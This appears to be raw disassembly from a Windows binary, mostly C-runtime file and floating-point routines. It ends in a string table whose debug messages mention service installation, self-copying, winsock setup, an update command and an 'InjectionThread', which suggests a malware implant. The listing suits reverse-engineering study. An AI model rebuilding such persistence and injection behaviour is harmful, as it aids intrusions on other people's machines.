[ebp+var_10], 6Dh jnz short loc_44E187 xor eax, eax jmp loc_44E3B0 ; --------------------------------------------------------------------------- loc_44E187: ; CODE XREF: sub_44E08B+F3j mov eax, [ebp+var_10] push eax call sub_449A3B pop ecx or eax, 0FFFFFFFFh jmp loc_44E3B0 ; --------------------------------------------------------------------------- loc_44E199: ; CODE XREF: sub_44E08B+CCj mov eax, [ebp+var_4] add edi, eax mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_41398C[edx*4] test byte ptr [edx+eax+4], 80h jz loc_44E3AE cmp [ebp+var_4], 0 jz short loc_44E1E8 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0Ah jnz short loc_44E1E8 mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_41398C[edx*4] lea eax, [edx+eax+4] or byte ptr [eax], 4 jmp short loc_44E203 ; --------------------------------------------------------------------------- loc_44E1E8: ; CODE XREF: sub_44E08B+136j ; sub_44E08B+13Ej mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_41398C[edx*4] lea eax, [edx+eax+4] and byte ptr [eax], 0FBh loc_44E203: ; CODE XREF: sub_44E08B+15Bj mov eax, [ebp+arg_4] mov [ebp+var_8], eax mov esi, eax jmp loc_44E397 ; --------------------------------------------------------------------------- loc_44E210: ; CODE XREF: sub_44E08B+313j cmp byte ptr [esi], 1Ah jnz short loc_44E254 mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_41398C[edx*4] test byte ptr [edx+eax+4], 40h jnz loc_44E3A4 mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_41398C[edx*4] lea eax, [edx+eax+4] or byte ptr [eax], 2 jmp loc_44E3A4 ; --------------------------------------------------------------------------- loc_44E254: ; CODE XREF: sub_44E08B+188j cmp byte ptr [esi], 0Dh jz short loc_44E26E mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx mov edx, esi inc esi mov dl, [edx] mov [eax], dl jmp loc_44E397 ; --------------------------------------------------------------------------- loc_44E26E: ; CODE XREF: sub_44E08B+1CCj mov eax, [ebp+arg_4] lea eax, [eax+edi-1] cmp esi, eax jnb short loc_44E2A8 cmp byte ptr [esi+1], 0Ah jnz short loc_44E293 add esi, 2 mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx mov byte ptr [eax], 0Ah jmp loc_44E397 ; --------------------------------------------------------------------------- loc_44E293: ; CODE XREF: sub_44E08B+1F2j mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx mov edx, esi inc esi mov dl, [edx] mov [eax], dl jmp loc_44E397 ; --------------------------------------------------------------------------- loc_44E2A8: ; CODE XREF: sub_44E08B+1ECj inc esi mov [ebp+var_10], 0 push 0 lea eax, [ebp+var_4] push eax push 1 lea eax, [ebp+var_11] push eax mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_41398C[edx*4] mov eax, [edx+eax] push eax call dword_411E1C ; ReadFile test eax, eax jnz short loc_44E2E7 call dword_411CEC ; RtlGetLastWin32Error mov [ebp+var_10], eax loc_44E2E7: ; CODE XREF: sub_44E08B+251j cmp [ebp+var_10], 0 jnz short loc_44E2F3 cmp [ebp+var_4], 0 jnz short loc_44E304 loc_44E2F3: ; CODE XREF: sub_44E08B+260j mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx mov byte ptr [eax], 0Dh jmp loc_44E397 ; --------------------------------------------------------------------------- loc_44E304: ; CODE XREF: sub_44E08B+266j mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_41398C[edx*4] test byte ptr [edx+eax+4], 48h jz short loc_44E35C cmp [ebp+var_11], 0Ah jnz short loc_44E333 mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx mov byte ptr [eax], 0Ah jmp short loc_44E397 ; --------------------------------------------------------------------------- loc_44E333: ; CODE XREF: sub_44E08B+298j mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx mov byte ptr [eax], 0Dh mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_41398C[edx*4] mov cl, [ebp+var_11] mov [edx+eax+5], cl jmp short loc_44E397 ; --------------------------------------------------------------------------- loc_44E35C: ; CODE XREF: sub_44E08B+292j mov eax, [ebp+arg_4] cmp eax, [ebp+var_8] jnz short loc_44E378 cmp [ebp+var_11], 0Ah jnz short loc_44E378 mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx mov byte ptr [eax], 0Ah jmp short loc_44E397 ; --------------------------------------------------------------------------- loc_44E378: ; CODE XREF: sub_44E08B+2D7j ; sub_44E08B+2DDj push 1 push 0FFFFFFFFh push ebx call sub_44D5EB add esp, 0Ch cmp [ebp+var_11], 0Ah jz short loc_44E397 mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx mov byte ptr [eax], 0Dh loc_44E397: ; CODE XREF: sub_44E08B+180j ; sub_44E08B+1DEj ... mov eax, [ebp+arg_4] add eax, edi cmp esi, eax jb loc_44E210 loc_44E3A4: ; CODE XREF: sub_44E08B+1A3j ; sub_44E08B+1C4j mov eax, [ebp+var_8] mov edx, [ebp+arg_4] sub eax, edx mov edi, eax loc_44E3AE: ; CODE XREF: sub_44E08B+12Cj mov eax, edi loc_44E3B0: ; CODE XREF: sub_44E08B+37j ; sub_44E08B+EAj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_44E08B endp ; --------------------------------------------------------------------------- db 8Dh, 7Ch, 27h, 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push esi mov ebx, [ebp+8] cmp ebx, dword_413A8C jnb short loc_44E3E6 mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_41398C[edx*4] test byte ptr [edx+eax+4], 1 jnz short loc_44E3F6 loc_44E3E6: ; CODE XREF: DMN1:0044E3C9j call sub_449B9B mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp short loc_44E419 ; --------------------------------------------------------------------------- loc_44E3F6: ; CODE XREF: DMN1:0044E3E4j push ebx call sub_44C47B pop ecx mov eax, [ebp+10h] push eax mov eax, [ebp+0Ch] push eax push ebx call sub_44E08B add esp, 0Ch mov esi, eax push ebx call sub_44C4DB pop ecx mov eax, esi loc_44E419: ; CODE XREF: DMN1:0044E3F4j pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- db 8Dh, 0BCh, 27h, 4 dup(0) db 8Dh, 0BCh, 27h, 4 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, [ebp+0Ch] push eax mov eax, [ebp+8] push eax call sub_44E59B add esp, 8 pop ebp retn ; --------------------------------------------------------------------------- db 8Dh, 7Ch, 27h, 0 db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44E44B proc near ; CODE XREF: sub_44D0DB+35Fp ; sub_44E59B+46p var_1014 = dword ptr -1014h var_1010 = byte ptr -1010h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1014h call sub_448F2B push ebx push esi push edi mov ebx, [ebp+arg_0] mov [ebp+var_4], 0 push 1 push 0 push ebx call sub_44D5EB add esp, 0Ch mov [ebp+var_C], eax cmp eax, 0FFFFFFFFh jz short loc_44E48F push 2 push 0 push ebx call sub_44D5EB add esp, 0Ch mov [ebp+var_8], eax cmp eax, 0FFFFFFFFh jnz short loc_44E497 loc_44E48F: ; CODE XREF: sub_44E44B+2Dj or eax, 0FFFFFFFFh jmp loc_44E58B ; --------------------------------------------------------------------------- loc_44E497: ; CODE XREF: sub_44E44B+42j mov eax, [ebp+arg_4] mov esi, eax sub esi, [ebp+var_8] test esi, esi jle loc_44E53C lea edx, [ebp+var_1010] mov ecx, 1000h xor eax, eax push edi mov edi, edx rep stosb pop edi mov eax, edx push 8000h push ebx call sub_44E9DB add esp, 8 mov [ebp+var_10], eax loc_44E4CD: ; CODE XREF: sub_44E44B+E0j cmp esi, 1000h jb short loc_44E4E1 mov [ebp+var_1014], 1000h jmp short loc_44E4E9 ; --------------------------------------------------------------------------- loc_44E4E1: ; CODE XREF: sub_44E44B+88j mov eax, esi mov [ebp+var_1014], eax loc_44E4E9: ; CODE XREF: sub_44E44B+94j mov eax, [ebp+var_1014] push eax lea eax, [ebp+var_1010] push eax push ebx call sub_44BE6B add esp, 0Ch mov edi, eax cmp eax, 0FFFFFFFFh jnz short loc_44E523 call dword_411CEC ; RtlGetLastWin32Error cmp eax, 5 jnz short loc_44E51D call sub_449B9B mov dword ptr [eax], 0Dh loc_44E51D: ; CODE XREF: sub_44E44B+C5j or [ebp+var_4], 0FFFFFFFFh jmp short loc_44E52D ; --------------------------------------------------------------------------- loc_44E523: ; CODE XREF: sub_44E44B+BAj mov eax, esi sub eax, edi mov esi, eax test eax, eax jg short loc_44E4CD loc_44E52D: ; CODE XREF: sub_44E44B+D6j mov eax, [ebp+var_10] push eax push ebx call sub_44E9DB add esp, 8 jmp short loc_44E579 ; --------------------------------------------------------------------------- loc_44E53C: ; CODE XREF: sub_44E44B+56j test esi, esi jge short loc_44E579 push 0 mov eax, [ebp+arg_4] push eax push ebx call sub_44D5EB add esp, 0Ch push ebx call sub_44C35B pop ecx push eax call dword_411E20 ; SetEndOfFile test eax, eax setnz al and eax, 1 dec eax mov [ebp+var_4], eax cmp eax, 0FFFFFFFFh jnz short loc_44E579 call sub_449B9B mov dword ptr [eax], 0Dh loc_44E579: ; CODE XREF: sub_44E44B+EFj ; sub_44E44B+F3j ... push 0 mov eax, [ebp+var_C] push eax push ebx call sub_44D5EB add esp, 0Ch mov eax, [ebp+var_4] loc_44E58B: ; CODE XREF: sub_44E44B+47j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_44E44B endp ; --------------------------------------------------------------------------- db 89h, 0FFh db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_44E59B proc near ; CODE XREF: DMN1:0044E436p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov ebx, [esp+8+arg_0] cmp ebx, dword_413A8C jnb short loc_44E5C4 mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_41398C[edx*4] test byte ptr [edx+eax+4], 1 jnz short loc_44E5D4 loc_44E5C4: ; CODE XREF: sub_44E59B+Cj call sub_449B9B mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp short loc_44E5F4 ; --------------------------------------------------------------------------- loc_44E5D4: ; CODE XREF: sub_44E59B+27j push ebx call sub_44C47B pop ecx mov eax, [esp+8+arg_4] push eax push ebx call sub_44E44B add esp, 8 mov esi, eax push ebx call sub_44C4DB pop ecx mov eax, esi loc_44E5F4: ; CODE XREF: sub_44E59B+37j pop esi pop ebx retn sub_44E59B endp ; --------------------------------------------------------------------------- db 8Dh, 7Ch, 27h, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44E5FB proc near ; CODE XREF: sub_44D4BB+EFp ; sub_44D4BB+100p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi mov ebx, [ebp+arg_0] mov esi, [ebp+arg_4] jmp loc_44E6B8 ; --------------------------------------------------------------------------- loc_44E60F: ; CODE XREF: sub_44E5FB+C0j mov eax, [esi+18h] cmp eax, [esi+10h] ja short loc_44E62A push esi call sub_44A69B pop ecx test eax, eax jge short loc_44E62A or eax, 0FFFFFFFFh jmp loc_44E6DA ; --------------------------------------------------------------------------- loc_44E62A: ; CODE XREF: sub_44E5FB+1Aj ; sub_44E5FB+25j test word ptr [esi], 400h jz short loc_44E641 push 0Ah push ebx call sub_44EAEB add esp, 8 mov [ebp+var_C], eax jmp short loc_44E648 ; --------------------------------------------------------------------------- loc_44E641: ; CODE XREF: sub_44E5FB+34j mov [ebp+var_C], 0 loc_44E648: ; CODE XREF: sub_44E5FB+44j mov eax, [ebp+var_C] mov [ebp+var_4], eax test eax, eax jz short loc_44E65D mov eax, [ebp+var_4] sub eax, ebx inc eax mov [ebp+var_10], eax jmp short loc_44E66C ; --------------------------------------------------------------------------- loc_44E65D: ; CODE XREF: sub_44E5FB+55j mov edx, ebx or eax, 0FFFFFFFFh loc_44E662: ; CODE XREF: sub_44E5FB+6Cj inc eax cmp byte ptr [edx+eax], 0 jnz short loc_44E662 mov [ebp+var_10], eax loc_44E66C: ; CODE XREF: sub_44E5FB+60j mov edi, [ebp+var_10] mov eax, [esi+18h] mov edx, [esi+10h] sub eax, edx mov [ebp+var_8], eax cmp [ebp+var_8], edi jnb short loc_44E689 mov [ebp+var_4], 0 mov edi, [ebp+var_8] loc_44E689: ; CODE XREF: sub_44E5FB+82j push edi push ebx mov eax, [esi+10h] push eax call sub_448E2B add esp, 0Ch add ebx, edi lea eax, [esi+10h] mov edx, [eax] add edx, edi mov [eax], edx cmp [ebp+var_4], 0 jz short loc_44E6B8 push esi call sub_44A49B pop ecx test eax, eax jz short loc_44E6B8 or eax, 0FFFFFFFFh jmp short loc_44E6DA ; --------------------------------------------------------------------------- loc_44E6B8: ; CODE XREF: sub_44E5FB+Fj ; sub_44E5FB+ABj ... cmp byte ptr [ebx], 0 jnz loc_44E60F test word ptr [esi], 800h jz short loc_44E6D8 push esi call sub_44A49B pop ecx test eax, eax jz short loc_44E6D8 or eax, 0FFFFFFFFh jmp short loc_44E6DA ; --------------------------------------------------------------------------- loc_44E6D8: ; CODE XREF: sub_44E5FB+CBj ; sub_44E5FB+D6j xor eax, eax loc_44E6DA: ; CODE XREF: sub_44E5FB+2Aj ; sub_44E5FB+BBj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_44E5FB endp ; --------------------------------------------------------------------------- db 8Dh, 7Fh, 0 db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_44E6EB proc near ; CODE XREF: sub_44DB0B+Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov ebx, [esp+0Ch+arg_4] movzx eax, word ptr [ebx+6] and eax, 7FF0h sar eax, 4 mov si, ax cmp si, 7FFh jnz short loc_44E741 mov edx, [esp+0Ch+arg_0] mov word ptr [edx], 0 test word ptr [ebx+6], 0Fh jnz short loc_44E72D cmp word ptr [ebx+4], 0 jnz short loc_44E72D cmp word ptr [ebx+2], 0 jnz short loc_44E72D cmp word ptr [ebx], 0 jz short loc_44E734 loc_44E72D: ; CODE XREF: sub_44E6EB+2Cj ; sub_44E6EB+33j ... mov edi, 2 jmp short loc_44E739 ; --------------------------------------------------------------------------- loc_44E734: ; CODE XREF: sub_44E6EB+40j mov edi, 1 loc_44E739: ; CODE XREF: sub_44E6EB+47j mov ax, di movsx eax, ax jmp short loc_44E785 ; --------------------------------------------------------------------------- loc_44E741: ; CODE XREF: sub_44E6EB+1Bj test si, si jg short loc_44E755 push ebx call sub_44EB0B pop ecx mov si, ax test ax, ax jg short loc_44E77A loc_44E755: ; CODE XREF: sub_44E6EB+59j movzx eax, word ptr [ebx+6] and eax, 0FFFF800Fh or eax, 3FE0h mov [ebx+6], ax mov edx, [esp+0Ch+arg_0] mov ax, si sub ax, 3FEh mov [edx], ax or eax, 0FFFFFFFFh jmp short loc_44E785 ; --------------------------------------------------------------------------- loc_44E77A: ; CODE XREF: sub_44E6EB+68j mov edx, [esp+0Ch+arg_0] mov word ptr [edx], 0 xor eax, eax loc_44E785: ; CODE XREF: sub_44E6EB+54j ; sub_44E6EB+8Dj pop edi pop esi pop ebx retn sub_44E6EB endp ; --------------------------------------------------------------------------- db 89h, 0FFh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44E78B proc near ; CODE XREF: sub_44DB2B+Bp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1Ch push ebx push esi push edi mov ebx, [ebp+arg_0] movzx eax, word ptr [ebx+6] and eax, 7FF0h sar eax, 4 mov si, ax cmp si, 7FFh jnz short loc_44E7E0 test word ptr [ebx+6], 0Fh jnz short loc_44E7C9 cmp word ptr [ebx+4], 0 jnz short loc_44E7C9 cmp word ptr [ebx+2], 0 jnz short loc_44E7C9 cmp word ptr [ebx], 0 jz short loc_44E7D0 loc_44E7C9: ; CODE XREF: sub_44E78B+28j ; sub_44E78B+2Fj ... mov edi, 2 jmp short loc_44E7D5 ; --------------------------------------------------------------------------- loc_44E7D0: ; CODE XREF: sub_44E78B+3Cj mov edi, 1 loc_44E7D5: ; CODE XREF: sub_44E78B+43j mov ax, di movsx eax, ax jmp loc_44E995 ; --------------------------------------------------------------------------- loc_44E7E0: ; CODE XREF: sub_44E78B+20j test si, si jnz short loc_44E7FB push ebx call sub_44EB0B pop ecx mov si, ax test ax, ax jle short loc_44E7FB xor eax, eax jmp loc_44E995 ; --------------------------------------------------------------------------- loc_44E7FB: ; CODE XREF: sub_44E78B+58j ; sub_44E78B+67j movsx eax, si mov edx, [ebp+arg_4] add eax, edx mov [ebp+arg_4], eax cmp eax, 7FFh jl short loc_44E83D test word ptr [ebx+6], 8000h jz short loc_44E822 fld dbl_4119E0 fchs fstp [ebp+var_8] jmp short loc_44E82B ; --------------------------------------------------------------------------- loc_44E822: ; CODE XREF: sub_44E78B+88j fld dbl_4119E0 fstp [ebp+var_8] loc_44E82B: ; CODE XREF: sub_44E78B+95j mov eax, [ebp+arg_0] fld [ebp+var_8] fstp qword ptr [eax] mov eax, 1 jmp loc_44E995 ; --------------------------------------------------------------------------- loc_44E83D: ; CODE XREF: sub_44E78B+80j cmp [ebp+arg_4], 0 jle short loc_44E863 movzx eax, word ptr [ebx+6] and eax, 0FFFF800Fh mov edx, [ebp+arg_4] movsx edx, dx shl edx, 4 or eax, edx mov [ebx+6], ax or eax, 0FFFFFFFFh jmp loc_44E995 ; --------------------------------------------------------------------------- loc_44E863: ; CODE XREF: sub_44E78B+B6j mov ax, [ebx+6] and ax, 8000h mov word ptr [ebp+var_8+6], ax movzx eax, word ptr [ebx+6] and eax, 0Fh or eax, 10h mov [ebx+6], ax mov eax, [ebp+arg_4] dec eax mov [ebp+arg_4], eax cmp eax, 0FFFFFFCCh jge short loc_44E8A9 mov ax, word ptr [ebp+var_8+6] mov [ebx+6], ax mov word ptr [ebx+4], 0 mov word ptr [ebx+2], 0 mov word ptr [ebx], 0 xor eax, eax jmp loc_44E995 ; --------------------------------------------------------------------------- loc_44E8A9: ; CODE XREF: sub_44E78B+FCj mov eax, [ebp+arg_4] mov word ptr [ebp+var_8+4], ax jmp short loc_44E8D4 ; --------------------------------------------------------------------------- loc_44E8B2: ; CODE XREF: sub_44E78B+14Ej mov ax, [ebx+2] mov [ebx], ax mov ax, [ebx+4] mov [ebx+2], ax mov ax, [ebx+6] mov [ebx+4], ax mov word ptr [ebx+6], 0 add word ptr [ebp+var_8+4], 10h loc_44E8D4: ; CODE XREF: sub_44E78B+125j cmp word ptr [ebp+var_8+4], 0FFF0h jle short loc_44E8B2 movsx eax, word ptr [ebp+var_8+4] neg eax mov word ptr [ebp+var_8+4], ax test ax, ax jz loc_44E98A movsx eax, word ptr [ebp+var_8+4] movzx edx, word ptr [ebx] mov ecx, eax sar edx, cl mov dword ptr [ebp+var_8], edx movzx ecx, word ptr [ebx+2] mov [ebp+var_C], ecx mov edx, 10h mov ecx, edx sub ecx, eax mov eax, [ebp+var_C] shl eax, cl mov edx, dword ptr [ebp+var_8] or edx, eax mov ax, dx mov [ebx], ax movsx eax, word ptr [ebp+var_8+4] movzx edx, word ptr [ebx+2] mov ecx, eax sar edx, cl mov [ebp+var_10], edx movzx ecx, word ptr [ebx+4] mov [ebp+var_14], ecx mov edx, 10h mov ecx, edx sub ecx, eax mov eax, [ebp+var_14] shl eax, cl mov edx, [ebp+var_10] or edx, eax mov ax, dx mov [ebx+2], ax movsx eax, word ptr [ebp+var_8+4] movzx edx, word ptr [ebx+4] mov ecx, eax sar edx, cl mov [ebp+var_18], edx movzx ecx, word ptr [ebx+6] mov [ebp+var_1C], ecx mov edx, 10h mov ecx, edx sub ecx, eax mov eax, [ebp+var_1C] shl eax, cl mov edx, [ebp+var_18] or edx, eax mov ax, dx mov [ebx+4], ax movzx eax, word ptr [ebx+6] movsx ecx, word ptr [ebp+var_8+4] sar eax, cl mov [ebx+6], ax loc_44E98A: ; CODE XREF: sub_44E78B+15Dj mov ax, word ptr [ebp+var_8+6] or [ebx+6], ax or eax, 0FFFFFFFFh loc_44E995: ; CODE XREF: sub_44E78B+50j ; sub_44E78B+6Bj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_44E78B endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44E9AB proc near ; CODE XREF: sub_44DBAB+409p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 push ebx push esi mov ebx, [ebp+arg_0] mov esi, [ebp+arg_4] mov eax, ebx mov ecx, esi cdq idiv ecx mov [ebp+var_8], eax mov edx, esi imul edx, eax mov eax, ebx sub eax, edx mov [ebp+var_4], eax mov eax, [ebp+var_8] mov edx, [ebp+var_4] pop esi pop ebx mov esp, ebp pop ebp retn sub_44E9AB endp ; =============== S U B R O U T I N E ======================================= sub_44E9DB proc near ; CODE XREF: sub_44E44B+77p ; sub_44E44B+E7p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov ebx, [esp+8+arg_0] mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_41398C[edx*4] movzx eax, byte ptr [edx+eax+4] mov esi, eax and esi, 80h cmp [esp+8+arg_4], 8000h jnz short loc_44EA31 mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_41398C[edx*4] lea eax, [edx+eax+4] movzx edx, byte ptr [eax] and edx, 0FFFFFF7Fh mov [eax], dl jmp short loc_44EA68 ; --------------------------------------------------------------------------- loc_44EA31: ; CODE XREF: sub_44E9DB+2Fj cmp [esp+8+arg_4], 4000h jnz short loc_44EA58 mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_41398C[edx*4] lea eax, [edx+eax+4] or byte ptr [eax], 80h jmp short loc_44EA68 ; --------------------------------------------------------------------------- loc_44EA58: ; CODE XREF: sub_44E9DB+5Ej call sub_449B9B mov dword ptr [eax], 16h or eax, 0FFFFFFFFh jmp short loc_44EA7B ; --------------------------------------------------------------------------- loc_44EA68: ; CODE XREF: sub_44E9DB+54j ; sub_44E9DB+7Bj test esi, esi setnz al and eax, 1 dec eax and eax, 4000h add eax, 4000h loc_44EA7B: ; CODE XREF: sub_44E9DB+8Bj pop esi pop ebx retn sub_44E9DB endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BCh, 27h, 4 dup(0) ; --------------------------------------------------------------------------- push ebx push esi mov ebx, [esp+0Ch] cmp ebx, dword_413A8C jnb short loc_44EAB4 mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_41398C[edx*4] test byte ptr [edx+eax+4], 1 jnz short loc_44EAC4 loc_44EAB4: ; CODE XREF: DMN1:0044EA97j call sub_449B9B mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp short loc_44EAE4 ; --------------------------------------------------------------------------- loc_44EAC4: ; CODE XREF: DMN1:0044EAB2j push ebx call sub_44C47B pop ecx mov eax, [esp+10h] push eax push ebx call sub_44E9DB add esp, 8 mov esi, eax push ebx call sub_44C4DB pop ecx mov eax, esi loc_44EAE4: ; CODE XREF: DMN1:0044EAC2j pop esi pop ebx retn ; --------------------------------------------------------------------------- db 8Dh, 7Ch, 27h, 0 ; =============== S U B R O U T I N E ======================================= sub_44EAEB proc near ; CODE XREF: sub_44E5FB+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ecx, [esp+4+arg_0] mov eax, [esp+4+arg_4] mov bl, al xor edx, edx loc_44EAF8: ; CODE XREF: sub_44EAEB+19j cmp [ecx], bl jnz short loc_44EAFE mov edx, ecx loc_44EAFE: ; CODE XREF: sub_44EAEB+Fj cmp byte ptr [ecx], 0 jz short loc_44EB06 inc ecx jmp short loc_44EAF8 ; --------------------------------------------------------------------------- loc_44EB06: ; CODE XREF: sub_44EAEB+16j mov eax, edx pop ebx retn sub_44EAEB endp ; --------------------------------------------------------------------------- db 90h ; =============== S U B R O U T I N E ======================================= sub_44EB0B proc near ; CODE XREF: sub_44E6EB+5Cp ; sub_44E78B+5Bp arg_0 = dword ptr 4 push ebx push edi mov ecx, [esp+8+arg_0] mov ax, [ecx+6] mov di, ax and di, 8000h mov bx, 1 mov ax, [ecx+6] and ax, 0Fh mov [ecx+6], ax test ax, ax jnz short loc_44EB4A cmp word ptr [ecx+4], 0 jnz short loc_44EB4A cmp word ptr [ecx+2], 0 jnz short loc_44EB4A cmp word ptr [ecx], 0 jz loc_44EC04 loc_44EB4A: ; CODE XREF: sub_44EB0B+25j ; sub_44EB0B+2Cj ... jmp short loc_44EB6C ; --------------------------------------------------------------------------- loc_44EB4C: ; CODE XREF: sub_44EB0B+66j mov ax, [ecx+4] mov [ecx+6], ax mov ax, [ecx+2] mov [ecx+4], ax mov ax, [ecx] mov [ecx+2], ax mov word ptr [ecx], 0 sub bx, 10h loc_44EB6C: ; CODE XREF: sub_44EB0B:loc_44EB4Aj cmp word ptr [ecx+6], 0 jz short loc_44EB4C jmp short loc_44EBB2 ; --------------------------------------------------------------------------- loc_44EB75: ; CODE XREF: sub_44EB0B+ACj movzx eax, word ptr [ecx+6] add eax, eax movzx edx, word ptr [ecx+4] sar edx, 0Fh or eax, edx mov [ecx+6], ax movzx eax, word ptr [ecx+4] add eax, eax movzx edx, word ptr [ecx+2] sar edx, 0Fh or eax, edx mov [ecx+4], ax movzx eax, word ptr [ecx+2] add eax, eax movzx edx, word ptr [ecx] sar edx, 0Fh or eax, edx mov [ecx+2], ax shl word ptr [ecx], 1 dec bx loc_44EBB2: ; CODE XREF: sub_44EB0B+68j cmp word ptr [ecx+6], 10h jb short loc_44EB75 jmp short loc_44EBF8 ; --------------------------------------------------------------------------- loc_44EBBB: ; CODE XREF: sub_44EB0B+F2j movzx eax, word ptr [ecx] sar eax, 1 movzx edx, word ptr [ecx+2] shl edx, 0Fh or eax, edx mov [ecx], ax movzx eax, word ptr [ecx+2] sar eax, 1 movzx edx, word ptr [ecx+4] shl edx, 0Fh or eax, edx mov [ecx+2], ax movzx eax, word ptr [ecx+4] sar eax, 1 movzx edx, word ptr [ecx+6] shl edx, 0Fh or eax, edx mov [ecx+4], ax shr word ptr [ecx+6], 1 inc bx loc_44EBF8: ; CODE XREF: sub_44EB0B+AEj cmp word ptr [ecx+6], 20h jnb short loc_44EBBB and word ptr [ecx+6], 0Fh loc_44EC04: ; CODE XREF: sub_44EB0B+39j or [ecx+6], di movsx eax, bx pop edi pop ebx retn sub_44EB0B endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_44EC1B proc near ; CODE XREF: sub_449C8B+13p jmp dword_411DB0 sub_44EC1B endp ; --------------------------------------------------------------------------- align 4 dd 11h dup(0) db 0 db 2 dup(0), 64h db 6Fh ; o db 6Eh, 65h, 2Eh db 0Ah align 2 aNotDaemonize_0 db 'not daemonized...',0Ah,0 aInitializing_0 db 'initializing service startup sequence...',0Ah,0 aServiceInsta_0 db 'service installed ok...',0Ah,0 aInstallingSe_1 db 'installing service...',0Ah,0 aRegisteredSe_2 db 'registered service is not running, unrest.',0Ah,0 aStartingServ_0 db 'starting service...',0Ah,0 aI_0 db '%i',0Ah,0 aInstallingSe_2 db 'installing service, res=',0 aRegisteredSe_3 db 'registered service is not running.',0Ah,0 aRegisteredSe_4 db 'registered service is here...',0Ah,0 aDonTRegister_0 db 'DON',27h,'T register it',0Ah,0 aRegisterItAn_0 db 'register it and restart',0Ah,0 aNoRegistered_0 db 'no registered service, ',0 aWaitingCompl_0 db '*** waiting complete...',0Ah,0 aWaiting____0 db '*** waiting...',0Ah,0 aRemovingS_0 db 'removing: <%s>',0Ah,0 aInitializing_1 db 'initializing winsock library...',0Ah,0 aCopyingFaile_0 db 'copying failed %%-(',0Ah,0 aCreateproces_0 db 'CreateProcess() failed %%-(',0Ah,0 aCmdlineS_0 db 'cmdline: <%s>',0Ah,0 aCopying____0 db 'copying...',0Ah,0 aNewSOldSSelf_0 db 'new=<%s>, old=<%s>, self=<%s>',0Dh,0Ah,0 aWaiting10Sec_0 db 'waiting 10 secs -- shutdown...',0Dh,0Ah,0 aShutdownmute_0 db 'ShutdownMutexCreate()=%i, h=%i',0Dh,0Ah,0 aUpdate_1 db '*update',0 aInjectionthr_0 db 'InjectionThread complete',0Ah,0 aDllStopped___0 db 'DLL stopped...',0Ah,0 